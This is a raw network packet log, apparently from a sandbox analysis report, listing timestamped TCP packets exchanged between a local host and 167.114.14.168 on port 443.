Oct 2, 2024 06:11:33.897361994 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.897403002 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.897408009 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.897442102 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.897455931 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.897859097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.897876024 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.897918940 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.897923946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.897949934 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.897964954 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.898319960 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.898335934 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.898380041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.898386002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.898416996 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.898432970 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.898894072 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.898910046 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.898950100 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.898955107 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.898977041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.898998976 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.899188042 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.902347088 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.902364969 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.902430058 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.902436972 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.902478933 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.986666918 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.986685991 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.986810923 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.986826897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.986896992 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.987123966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.987139940 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.987209082 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.987219095 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.987260103 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.987720966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.987737894 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.987782955 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.987790108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.987816095 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.987833023 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.988133907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.988152981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.988202095 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.988209009 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.988256931 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.988701105 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.988717079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.988831043 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.988837004 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.988878965 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.988980055 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.988996983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.989047050 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.989053965 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.989095926 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.989686012 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.989701033 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.989756107 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.989761114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.989797115 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.989815950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.993048906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.993063927 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.993136883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.993143082 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.993190050 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.993402004 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.077584982 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.077604055 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.077665091 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.077677011 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.077724934 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.077955961 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.077972889 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.078011036 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.078017950 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.078028917 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.078495979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.078516960 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.078547955 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.078556061 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.078573942 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.078608990 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.078978062 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.078994036 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.079039097 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.079044104 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.079068899 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.079083920 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.079413891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.079430103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.079468012 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.079474926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.079498053 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.079518080 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.079931974 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.079947948 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.079986095 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.079991102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.080020905 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.080037117 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.080490112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.080504894 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.080557108 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.080564022 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.080605984 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.083801985 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.083818913 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.083892107 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.083899975 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.083961964 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.168236017 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.168256998 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.168325901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.168339968 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.168373108 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.168410063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.168621063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.168656111 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.168685913 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.168692112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.168715954 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.168749094 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.169105053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.169128895 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.169193983 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.169199944 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.169246912 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.169576883 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.169594049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.169656992 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.169662952 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.169703960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.170100927 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.170116901 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.170161009 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.170166016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.170198917 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.170217037 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.170403957 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.170419931 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.170464039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.170469999 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.170495033 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.170514107 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.171049118 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.171065092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.171124935 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.171129942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.171170950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.174529076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.174545050 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.174603939 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.174608946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.174678087 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.259007931 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.259041071 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.259079933 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.259089947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.259099960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.259135962 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.259377003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.259427071 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.259444952 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.259449005 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.259478092 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.259496927 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.259834051 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.259862900 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.259903908 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.259910107 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.259959936 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.259960890 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.260472059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.260488033 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.260541916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.260548115 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.260616064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.260787964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.260803938 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.260838985 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.260843992 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.260871887 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.260890007 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.261245966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.261260986 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.261315107 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.261320114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.261363029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.261801958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.261838913 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.261868000 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.261873007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.261910915 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.261981010 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.265320063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.265336990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.265398979 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.265405893 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.265450001 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.349752903 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.349776030 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.349838972 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.349847078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.349905014 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.350282907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.350306034 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.350351095 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.350356102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.350388050 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.350409985 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.350672960 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.350714922 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.350728035 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.350732088 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.350783110 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.351157904 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.351174116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.351227999 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.351233959 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.351274014 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.351439953 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.351455927 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.351509094 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.351515055 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.351557016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.352221012 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.352235079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.352281094 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.352287054 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.352339029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.352602959 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.352617025 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.352677107 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.352683067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.352722883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.356055021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.356071949 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.356126070 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.356132030 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.356174946 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.440418959 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.440450907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.440498114 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.440510988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.440553904 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.440577030 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.440829992 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.440862894 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.440884113 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.440890074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.440922976 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.440939903 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.441239119 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.441253901 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.441296101 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.441301107 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.441325903 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.441340923 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.441710949 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.441728115 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.441766024 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.441771030 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.441812038 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.441824913 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.442269087 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.442301035 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.442334890 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.442339897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.442373037 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.442419052 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.442831039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.442846060 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.442903042 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.442909002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.442954063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.443141937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.443157911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.443212986 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.443217993 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.443243027 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.443669081 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.446890116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.446907043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.446990967 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.446997881 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.447035074 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.531440020 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.531466007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.531514883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.531521082 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.531569958 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.531893969 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.531913042 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.531954050 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.531959057 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.531987906 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.532007933 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.532260895 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.532278061 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.532325983 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.532330990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.532357931 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.532375097 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.532835007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.532850981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.532902002 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.532907009 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.532933950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.532953978 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.533103943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.533119917 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.533166885 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.533171892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.533195972 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.533210993 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.533642054 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.533658028 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.533701897 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.533706903 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.533739090 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.533757925 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.534100056 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.534116030 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.534151077 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.534156084 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:34.534188986 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:34.534200907 CEST	49723	443	192.168.2.8	167.114.14.168
